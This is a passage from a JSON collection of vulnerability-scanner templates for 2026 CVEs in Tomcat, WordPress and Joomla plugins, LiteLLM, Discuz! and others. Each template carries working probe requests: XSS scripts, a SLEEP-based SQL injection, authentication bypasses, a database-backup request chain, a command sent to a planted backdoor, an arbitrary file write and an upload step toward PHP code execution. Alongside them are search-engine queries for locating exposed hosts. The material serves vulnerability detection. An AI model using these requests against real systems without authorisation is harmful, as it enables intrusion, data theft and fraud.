200\n# digest: 4b0a004830460221009fbaa36f855ef7564b486101aa8b29c8972d589f299834996fda8020947e7e1c022100f16abec6a32010c135caa2ddbafdeb9d5814e5ebdcdb7fc69ada06ed208d150a:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-50230.yaml","vuln_id":"cve-2026-50230"},{"raw":"id: CVE-2026-50229\n\ninfo:\n  name: Apache Tomcat - Cross-Site Scripting\n  author: yshahinzadeh,amirmsafari\n  severity: medium\n  description: |\n    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.\n  impact: |\n    Remote attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.\n  remediation: |\n    Upgrade to versions 11.0.23, 10.1.56, or 9.0.119 or later.\n  reference:\n    - https://lists.apache.org/thread/wlt2no8bw45zl1w8byop4zfqphldf5j0\n    - https://www.cve.org/CVERecord?id=CVE-2026-50229\n    - https://tomcat.apache.org/security-11.html\n    - https://www.herodevs.com/vulnerability-directory/cve-2026-50229\n  classification:\n    cwe-id: CWE-80\n    cve-id: CVE-2026-50229\n    epss-score: 0.04091\n    epss-percentile: 0.90762\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: tomcat\n    shodan-query: html:\"Apache Tomcat\"\n    fofa-query: app=\"APACHE-Tomcat\"\n  tags: cve,cve2026,apache,tomcat,xss\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<script>alert(document.domain)</script>'\n          - 'Number Guess'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210083b6b6f2c4da2b8b29329457cf81da5ed87f3a48773344d7e77de469575e860b022000f82bb5f4fa40fd55f90213c7760bb0e327459849cb2665e9755a8285cac4d2:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-50229.yaml","vuln_id":"cve-2026-50229"},{"raw":"id: CVE-2026-50160\n\ninfo:\n  name: Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite\n  author: str4k3r\n  severity: critical\n  description: |\n    Hoppscotch self-hosted backend <= 2026.4.1 contains a broken authentication caused by mass assignment via unauthenticated POST /v1/onboarding/config endpoint, letting unauthenticated attackers overwrite JWT_SECRET to forge tokens and fully compromise the server, exploit requires attacker to access fresh instance before onboarding completes or when no users exist.\n  impact: |\n    Unauthenticated attackers can forge JWT tokens and fully compromise the server, including administrator access.\n  remediation: |\n    Update to version 2026.5.0 or later.\n  reference:\n    - https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-50160\n    - https://github.com/hoppscotch/hoppscotch/pull/6171\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10.0\n    cve-id: CVE-2026-50160\n    epss-score: 0.01701\n    epss-percentile: 0.77295\n    cwe-id: CWE-915\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: hoppscotch\n    product: hoppscotch\n    shodan-query: http.title:\"Hoppscotch\"\n    fofa-query: title=\"Hoppscotch\"\n  tags: cve,cve2026,hoppscotch,mass-assignment,jwt\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /v1/onboarding/status HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"canReRunOnboarding\")'\n          - 'contains(body, \"\\\"onboardingCompleted\\\":false\") || contains(body, \"\\\"canReRunOnboarding\\\":true\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /v1/onboarding/config HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        {\"CVE_2026_50160_DETECT\":\"true\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(body, \"VITE_ALLOWED_AUTH_PROVIDERS\")'\n          - '!contains(body, \"should not exist\")'\n        condition: and\n# digest: 4a0a00473045022100c02505f2e91fa712997b1341fe82b00cfdc705b3ba3c6a6e805817768845590402207e355def2be81d72adfc35aecccfb32b76af4c65e4e9b5eed1b296c3f49c0c40:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-50160.yaml","vuln_id":"cve-2026-50160"},{"raw":"id: CVE-2026-49952\n\ninfo:\n  name: Discuz! X5.0 - Authentication Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.\n  impact: |\n    Unauthenticated attackers can bypass authorization to export/import database and impersonate arbitrary users, risking full database compromise.\n  remediation: |\n    Update to a version later than 20260501 or latest available version.\n  reference:\n    - https://karmainsecurity.com/KIS-2026-09\n    - https://www.exploit-db.com/exploits/52621\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-49952\n    - https://gitee.com/Discuz/DiscuzX/commit/9962dad52c4c6999dabaf91ecd70377c680ff3c6\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-49952\n    epss-score: 0.04717\n    epss-percentile: 0.91858\n    cwe-id: CWE-323\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: discuz\n    product: discuz_x\n    shodan-query: http.html:\"Discuz! X5.0\"\n    fofa-query: body=\"Discuz! X5.0\"\n  tags: cve,cve2026,discuz,auth-bypass,intrusive\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Discuz! X5\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /member.php?mod=logging&action=login&loginsubmit=yes HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username=method%3Dexport%26time%3D9999999999%26&password=1&lssubmit=1\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"auth=\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: authcode\n        group: 1\n        internal: true\n        regex:\n          - 'auth=([^&\"''<>\\s]+)'\n\n  - raw:\n      - |\n        GET /api/db/dbbak.php?apptype=discuzx&code={{authcode}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"errorCode=\\\"0\\\"\") || contains(body, \"data/backup_\") || contains_any(body, \"CREATE TABLE\", \"INSERT INTO\")'\n        condition: and\n# digest: 4a0a00473045022100cb609a67600d448652b5304b1929a799e256eb88dfe7b6419ec4cf9bcda2694c02204bb32b1d9d65b86d84d12b99385aeff1cca7250f5432585f29abe30b953fc1f3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-49952.yaml","vuln_id":"cve-2026-49952"},{"raw":"id: CVE-2026-4987\n\ninfo:\n  name: SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id\n  author: iamatownboy\n  severity: high\n  description: |\n    The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.\n    The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount().\n    By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side\n    amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.\n  impact: |\n    Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.\n  remediation: |\n    Update SureForms to version 2.6.0 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4987\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve\n    - https://plugins.trac.wordpress.org/changeset/3488858/sureforms\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-4987\n    epss-score: 0.00955\n    epss-percentile: 0.6151\n    cwe-id: CWE-20\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: brainstormforce\n    product: sureforms\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/sureforms/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sureforms,payment,validation-bypass,unauth\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/sureforms/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"SureForms\")\n          - compare_versions(version, \"<= 2.5.2\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/sureforms/v1/refresh-nonces\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"payment_nonce\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: payment_nonce\n        part: body\n        group: 1\n        regex:\n          - '\"payment_nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/\n\n        action=srfm_create_payment_intent&nonce={{payment_nonce}}&amount=1&currency=usd&form_id=0&block_id=&description=SureForms&customer_email=test@example.com&customer_name=test\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"client_secret\"\n          - \"payment_intent_id\"\n          - \"API Key provided\"\n        condition: or\n\n      - type: word\n        part: body\n        words:\n          - \"Invalid nonce\"\n        negative: true\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022018cdcd0afa2d41ed6369906e9236d9aeb983eb9286c3c5a5fccfb86f83c5b2730220717ccbfaf353ab3ed4b85a90f5c9053c240b01120ff627d5f6c3dcf31faec8a6:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-4987.yaml","vuln_id":"cve-2026-4987"},{"raw":"id: CVE-2026-49777\n\ninfo:\n  name: WordPress Product Slider Pro for WooCommerce < 3.5.4 - Supply Chain Backdoor RCE\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.\n  impact: |\n    Attackers can implant malicious software, potentially compromising the system or data integrity.\n  remediation: |\n    Apply the vendor's patch or update to the latest fixed version when available.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/woo-product-slider-pro/vulnerability/wordpress-product-slider-pro-for-woocommerce-plugin-3-5-2-backdoor-vulnerability\n    - https://patchstack.com/articles/critical-supply-chain-compromise-in-smart-slider-3-pro-full-malware-analysis/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-49777\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-49777\n    epss-score: 0.01656\n    epss-percentile: 0.76657\n    cwe-id: CWE-506\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: shapedplugin\n    product: product_slider_pro_for_woocommerce\n    framework: wordpress\n    shodan-query: http.component:\"WordPress\"\n    fofa-query: body=\"wp-content/plugins/woo-product-slider-pro\"\n  tags: cve,cve2026,wordpress,wp-plugin,backdoor,rce,supply-chain,woocommerce,unauth,shapedplugin,vkev\n\nvariables:\n  a: \"{{rand_int(10000, 99999)}}\"\n  b: \"{{rand_int(10000, 99999)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        X-Cache-Status: nw9xQmK4\n        X-Cache-Key: {{base64(\"expr \" + a + \" + \" + b)}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{to_number(a)+to_number(b)}}\"\n\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(content_type, 'text/plain')\"\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - \"body\"\n# digest: 490a00463044022051f758b85f8d7d25b95bb119c180c42a69cb5191d43581d5aee57504988eb2f402200e835279baadddd4529d99f760969f37e936016d238627c56caceb5e5c741767:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-49777.yaml","vuln_id":"cve-2026-49777"},{"raw":"id: CVE-2026-49772\n\ninfo:\n  name: The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection\n  author: HaroonArshad-53\n  severity: critical\n  description: |\n    The Events Calendar WordPress plugin versions 6.15.12 through 6.16.2 do not properly validate the order parameter of the experimental tec/v1 REST events endpoint, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.\n  impact: |\n    Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification.\n  remediation: |\n    Upgrade to a version later than 6.16.2 or the latest available version.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-49772\n    - https://github.com/joshuavanderpoll/CVE-2026-49772\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-49772\n    epss-score: 0.01937\n    epss-percentile: 0.80146\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    vendor: theeventscalendar\n    product: the_events_calendar\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/the-events-calendar/\"\n    fofa-query: body=\"/wp-content/plugins/the-events-calendar/\"\n  tags: cve,cve2026,wordpress,wp-plugin,sqli,blind,unauth,time-based-sqli,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/the-events-calendar/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - compare_versions(version, \">= 6.15.12, < 6.16.3\")\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - \"Stable tag: ([0-9.]+)\"\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /wp-json/tec/v1/events?orderby=event_date&order=ASC%2C(SELECT%20CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(6)%20ELSE%200%20END) HTTP/1.1\n        Host: {{Hostname}}\n        X-TEC-EEA: I understand that this endpoint is experimental and may change in a future release without maintaining backward compatibility. I also understand that I am using this endpoint at my own risk, while support is not provided for it.\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"duration >= 6\"\n        condition: and\n# digest: 4a0a00473045022100de31337632ee1fe2628a3e2f57c1f90760ae71134acd5be2984ae1525ac291bf02202b338af406d9b5e975533ed049b3566915f72fffc378658e69516cdc546bc298:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-49772.yaml","vuln_id":"cve-2026-49772"},{"raw":"id: CVE-2026-49468\n\ninfo:\n  name: LiteLLM Proxy < 1.84.0 - Host Header Authentication Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.\n  remediation: Upgrade LiteLLM Proxy to 1.84.0 or later.\n  reference:\n    - https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w\n    - https://github.com/BerriAI/litellm/releases/tag/v1.84.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-49468\n  classification:\n    cve-id: CVE-2026-49468\n    epss-score: 0.03033\n    epss-percentile: 0.87531\n    cwe-id: CWE-290\n    cvss-score: 8.1\n    cvss-metrics: CVSS:3.1/AV:H/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n  metadata:\n    verified: true\n    vendor: berriai\n    product: litellm\n    technology: python,fastapi,starlette\n    max-request: 1\n    shodan-query: http.favicon.hash:539724359\n    fofa-query: icon_hash=\"539724359\"\n  tags: cve,cve2026,litellm,auth-bypass,llm\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /v1/models HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'type\":\"auth_error'\n        internal: true\n\n  - raw:\n      - |+\n        GET /v1/models HTTP/1.1\n        Host: {{Hostname}}/?\n\n      - |+\n        GET /v1/models HTTP/1.1\n        Host: {{Hostname}}/#\n\n    unsafe: true\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"object\":\"list\"'\n          - '{\"data\":['\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100d5a1afc4f77766c246af4ea42b916017dcd171f922a7b822720f8393c3c73728022100ba53465410bcb007e53466618b26e2253f949ffe642784d1383e085a6a71a65f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-49468.yaml","vuln_id":"cve-2026-49468"},{"raw":"id: CVE-2026-49069\n\ninfo:\n  name: WPZOOM Portfolio <= 1.4.21 - Reflected Cross-Site Scripting\n  author: aryu-ru\n  severity: high\n  description: |\n    WPZOOM Portfolio <= 1.4.21 contains a reflected XSS caused by improper neutralization of input during web page generation, letting attackers execute scripts in victim's browser, exploit requires crafted request.\n  impact: |\n    Attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.\n  remediation: |\n    Update to the latest version of WPZOOM Portfolio.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/wpzoom-portfolio/vulnerability/wordpress-wpzoom-portfolio-plugin-1-4-21-cross-site-scripting-xss-vulnerability?_s_id=cve\n    - https://www.exploit-db.com/exploits/52611\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-49069\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-49069\n    epss-score: 0.01166\n    epss-percentile: 0.67411\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wpzoom\n    product: wpzoom-portfolio\n    shodan-query: http.html:\"/wp-content/plugins/wpzoom-portfolio\"\n    fofa-query: body=\"/wp-content/plugins/wpzoom-portfolio\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,wpzoom,xss,unauth\n\nvariables:\n  marker: \"{{randstr}}\"\n\nflow: http(1) && (http(2) || http(3))\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"wpzoom-portfolio\")\n          - status_code == 200\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22post%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"onfocus='alert(document.domain)'\"\n          - \"wpzoom-ajax-portfolio-items\"\n        condition: and\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22portfolio_item%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"onfocus='alert(document.domain)'\"\n          - \"wpzoom-ajax-portfolio-items\"\n        condition: and\n# digest: 4b0a00483046022100cac5e694cd8a04cd99e65b11e7f9b95b5b94d306530a2ff0e74e23cdb09935e4022100e229b0462c679e5cb96f9345faaef72fec22c7919f8675b6ca27d62e273507c2:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-49069.yaml","vuln_id":"cve-2026-49069"},{"raw":"id: CVE-2026-49060\n\ninfo:\n  name: Hippoo Mobile App for WooCommerce - Broken Access Control\n  author: theamanrawat\n  severity: critical\n  description: |\n    Hippoo Mobile App for WooCommerce <= 1.9.4 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n  impact: |\n    Attackers can escalate their privileges, potentially gaining unauthorized access or control over the application.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability\n    - https://github.com/advisories/GHSA-mh6m-7983-2r5w\n    - https://wordpress.org/plugins/hippoo/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-49060\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-49060\n    epss-score: 0.01839\n    epss-percentile: 0.79036\n    cwe-id: CWE-266\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: hippoo\n    product: hippoo\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/hippoo/\"\n    publicwww-query: \"/wp-content/plugins/hippoo\"\n  tags: cve,cve2026,wordpress,broken-access-control,privilege-escalation,hippoo,woocommerce,unauth,vuln,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/hippoo/readme.txt\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Hippoo\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1\"\n      - \"{{BaseURL}}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1\"\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"slug\\\":\"\n          - \"\\\"avatar_urls\\\":\"\n          - \"\\\"_links\\\":\"\n          - \"\\\"link\\\":\"\n        condition: or\n\n      - type: word\n        part: body\n        words:\n          - \"rest_forbidden\"\n          - \"not allowed\"\n        negative: true\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402206c9740a7519635dd36afa8fec41095d1bc2e1da45abbd8548864d345f81a135c0220615314c0370f7a9f87f436e51878d8828887ca21d2ec89952780baac9faad48e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-49060.yaml","vuln_id":"cve-2026-49060"},{"raw":"id: CVE-2026-49049\n\ninfo:\n  name: JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write\n  author: DhiyaneshDk,pdteam\n  severity: high\n  description: |\n    JoomShaper Helix3 template framework versions 1.0 through 3.1.0 for Joomla expose an unauthenticated AJAX handler (plg_ajax_helix3) accessible via the Joomla com_ajax component. The onAjaxHelix3() plugin method processes data[action]=save requests without any authentication check or CSRF token validation. Unauthenticated remote attackers can write arbitrary JSON content to server-side files. The layoutName parameter contains no path traversal validation, enabling write to any directory writable by the web server process. Actively exploited in the wild by the AntonKill botnet campaign.\n  impact: |\n    Unauthenticated attackers can write arbitrary JSON content to server files, enabling template configuration manipulation, stored XSS via template parameters, and remote code execution via path traversal to place webshells or malicious configuration files in any web-accessible directory writable by the web server.\n  remediation: |\n    Update JoomShaper Helix3 to version 3.1.1 or later, which adds proper authorization checks to the plg_ajax_helix3 AJAX handler. If the Helix3 template is unused, disable and remove the plg_ajax_helix3 system plugin via the Joomla administrator panel. As a WAF mitigation, block POST requests to index.php where the query string contains both option=com_ajax and plugin=helix3.\n  reference:\n    - https://github.com/Dr-D25/CVE-2026-49049\n    - https://kevintel.com/CVE-2026-49049\n    - https://www.joomshaper.com/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-49049\n    cwe-id: CWE-284\n    epss-score: 0.00992\n    epss-percentile: 0.62668\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ollyo\n    product: helix3\n    framework: joomla\n    fofa-query: body=\"shaper_helix3\"\n    shodan-query: html:\"shaper_helix3\"\n  tags: cve,cve2026,joomla,helix3,unauth,filewrite,missing-authorization,intrusive,vkev\n\nvariables:\n  probe_file: \"nuclei_{{rand_text_alpha(6)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"helix3\"\n        case-insensitive: true\n        internal: true\n\n  - raw:\n      - |\n        POST /index.php?option=com_ajax&plugin=helix3&format=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\n        Accept: application/json, text/javascript, */*\n\n        data[action]=save&data[layoutName]={{probe_file}}&data[content]={\"_nuclei_probe\":\"cve-2026-49049\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - 'fwrite()'\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e9ec55f6dce99398168842dee9117bb2d437cb783453d656f5f9ad6243a2c98402202dc3795a6c90084dfab04c3033db1582fc0e235957bdf98551f3cd5714341d79:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-49049.yaml","vuln_id":"cve-2026-49049"},{"raw":"id: CVE-2026-48939\n\ninfo:\n  name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.\n  impact: |\n    Attackers can upload and execute arbitrary PHP code, leading to full server compromise.\n  remediation: |\n    Update to the latest version of iCagenda extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48939\n    - https://github.com/ChiefYoru/CVE-2026-48939_PoC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-48939\n    epss-score: 0.20069\n    epss-percentile: 0.97454\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: joomlic\n    product: icagenda\n    framework: joomla\n    shodan-query: http.html:\"com_icagenda\"\n    fofa-query: body=\"com_icagenda\"\n  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev\n\nvariables:\n  marker: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /administrator/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"icagenda\") || contains(body, \"iCagenda\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf\n        group: 1\n        internal: true\n        regex:\n          - 'name=\"([a-f0-9]{32})\"\\s+value=\"1\"'\n\n  - raw:\n      - |\n        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939\n        X-Requested-With: XMLHttpRequest\n        Referer: {{BaseURL}}/\n\n        ------iCagendaBoundary48939\n        Content-Disposition: form-data; name=\"{{csrf}}\"\n\n        1\n        ------iCagendaBoundary48939\n        Content-Disposition: form-data; 